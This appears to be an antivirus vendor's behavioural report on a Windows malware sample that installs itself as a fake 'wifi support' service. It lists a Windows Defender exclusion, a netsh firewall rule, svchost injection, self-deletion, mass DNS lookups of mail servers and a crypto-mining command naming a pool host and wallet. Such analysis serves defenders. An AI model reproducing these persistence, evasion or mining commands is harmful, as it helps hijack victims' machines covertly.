Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\wxwlpsmj] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wxwlpsmj] 'ImagePath' = '%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\wxwlpsmj] 'ImagePath' = '%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wxwlpsmj' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\conbmwey.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\conbmwey.exe to %WINDIR%\syswow64\wxwlpsmj\conbmwey.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK lg#.com
- DNS ASK lg###tp.lge.com
- DNS ASK sa#.rr.com
- DNS ASK pk#####.#sg.pkvw.co.charter.net
- DNS ASK so###ome.com
- DNS ASK ex###mobil.com
- DNS ASK ma####.exxonmobil.com
- DNS ASK ip##fo.io
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ho##ail.de
- DNS ASK sa##cpa.com
- DNS ASK mx#.#ate.com
- DNS ASK go###e.co.uk
- DNS ASK ve##hio.com
- DNS ASK ve#####.com.1.arsmtp.com
- DNS ASK ms#.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK sa###eisen.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK as#.##flexion.net
- DNS ASK na##.com
- DNS ASK mu##.edu
- DNS ASK ti###linet.it
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK ag###.stm.it
- DNS ASK mx.#tm.it
- DNS ASK si###sky.com
- DNS ASK ma####02.lmco.com
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ho##ail.fr
- DNS ASK um###.hinet.net
- DNS ASK um####.hinet.net
- DNS ASK ta####.itg.ti.com
- DNS ASK ju##.com
- DNS ASK co###nex.com
- DNS ASK ma##.#ompanex.com
- DNS ASK ms#.#inet.net
- DNS ASK ya##o.co.id
- DNS ASK vp.pl
- DNS ASK mx.###zta.onet.pl
- DNS ASK gl####rotter.net
- DNS ASK re###.#lobetrotter.net
- DNS ASK be###outh.net
- DNS ASK mx.##s.untd.com
- DNS ASK li##ro.it
- DNS ASK in###tud.com
- DNS ASK hr##ock.com
- DNS ASK mx##.#nfostud.com
- DNS ASK mx#.##.iphmx.com
- DNS ASK ho##ail.es
- DNS ASK ho##ail.it
- DNS ASK ju###otcom.com
- DNS ASK gs#.com
- DNS ASK gs#####.##il.protection.outlook.com
- DNS ASK go##yo.net
- DNS ASK so##pi.it
- DNS ASK di####lbrainy.com
- DNS ASK as##nte.com
- DNS ASK me####states.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK li#e.dk
- DNS ASK sy####etwork.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK mo#####e.wellsfargo.com
- DNS ASK cl#######.us.messagelabs.com
- DNS ASK ga#.com
- DNS ASK ga#####.##il.protection.outlook.com
- DNS ASK ne####el-mail.com
- DNS ASK ma###adev.com
- DNS ASK qc###tacar.com
- DNS ASK qu###actory.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK sm##.##cureserver.net
- DNS ASK su##ise.ch
- DNS ASK mx#.##x.sunrise.ch
- DNS ASK li###dot.com
- DNS ASK ma##.#-email.net
- DNS ASK pi##eer.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK br#.#upont.com
- DNS ASK mx#######d02.gslb.pphosted.com
- DNS ASK sb##ail.com
- DNS ASK li##.com
- DNS ASK zu###mex.com
- DNS ASK ir#####t.zucarmex.com
- DNS ASK d1##as.com
- DNS ASK si###ail.com
- DNS ASK pa####x.above.com
- DNS ASK os#.edu
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK in###gram.com
- DNS ASK gl####.t-bird.edu
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK rt####le.itg.ti.com
- DNS ASK sm####n.libero.it
- DNS ASK ro###.itg.ti.com
- DNS ASK ra###france.com
- DNS ASK al##a.com
- DNS ASK ad#####mx402.alcoa.com
- DNS ASK tm#.no
- DNS ASK mu######-mx03.multinet.no
- DNS ASK jv###ect.com
- DNS ASK sa#####synthelabo.com
- DNS ASK ma####b.sanofi.com
- DNS ASK no####tipping.no
- DNS ASK ad#l.no
- DNS ASK 10#######5.pamx1.hotmail.com
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK ci###########l-com.mail.protection.outlook.com
- DNS ASK fe###.kommune.no
- DNS ASK ma##.sing.no
- DNS ASK ba###net.com
- DNS ASK mx######21601.pphosted.com
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK am###pie.com
- DNS ASK jp####anfleming.com
- DNS ASK ci####dusoleil.com
- DNS ASK sg#####.swatchgroup.com
- DNS ASK lo###nes.com
- DNS ASK ya##o.gr
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK st####ur.uniba.it
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK re###o.uniba.it
- DNS ASK co##axx.no
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ma###.intility.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK bo#.com.br
- DNS ASK mx#.#ol.com.br
- DNS ASK mi####.bittubeapp.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK gm##l.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK ya##o.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK me####rservices.com
- DNS ASK ma######.safrangroup.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK re####1.veepee.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK google.com
- DNS ASK an###.kommune.no
- DNS ASK wa##doo.nl
- DNS ASK gi###.kommune.no
- DNS ASK ns#.##unnmore.no
- DNS ASK em###sic.com
- DNS ASK ho##h.no
- DNS ASK ca#####esoftware.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK em###choice.com
- DNS ASK mx#.#twork.nl
- DNS ASK zi##er.com
- DNS ASK ef#######.registrar-servers.com
- DNS ASK ya##o.co.in
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK we#.de
- DNS ASK mx###03.web.de
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK li#e.fr
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ca##el.nl
- DNS ASK dh#.nl
- DNS ASK li#####ly.amphora.nl
- DNS ASK av##tis.com
- DNS ASK es###roup.com
- DNS ASK es##########0i.mail.protection.outlook.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK va####.norbord.com
- DNS ASK ed##c.com
- DNS ASK ed#######.#ail.protection.outlook.com
- DNS ASK ne##o.com
- DNS ASK gw####.fortimail.com
- DNS ASK no###tock.com
- DNS ASK gr#k.no
- DNS ASK el####o-diesel.no
- DNS ASK so##ico.no
- DNS ASK dr####n.kommune.no
- DNS ASK ma###.##ammen.kommune.no
- DNS ASK ke####.itg.ti.com
- DNS ASK la###.itl.saic.com
- DNS ASK la#####ercomunicare.it
- DNS ASK ma##.###etepercomunicare.it
- DNS ASK no##########m.mail.protection.outlook.com
- DNS ASK ya##o.ca
- DNS ASK hr#########.mail.protection.outlook.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wxwlpsmj\conbmwey.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wxwlpsmj\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\conbmwey.exe" %WINDIR%\SysWOW64\wxwlpsmj\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create wxwlpsmj binPath= "%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description wxwlpsmj "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start wxwlpsmj' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wxwlpsmj\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\conbmwey.exe" %WINDIR%\SysWOW64\wxwlpsmj\
- '%WINDIR%\syswow64\sc.exe' create wxwlpsmj binPath= "%WINDIR%\SysWOW64\wxwlpsmj\conbmwey.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description wxwlpsmj "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start wxwlpsmj
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
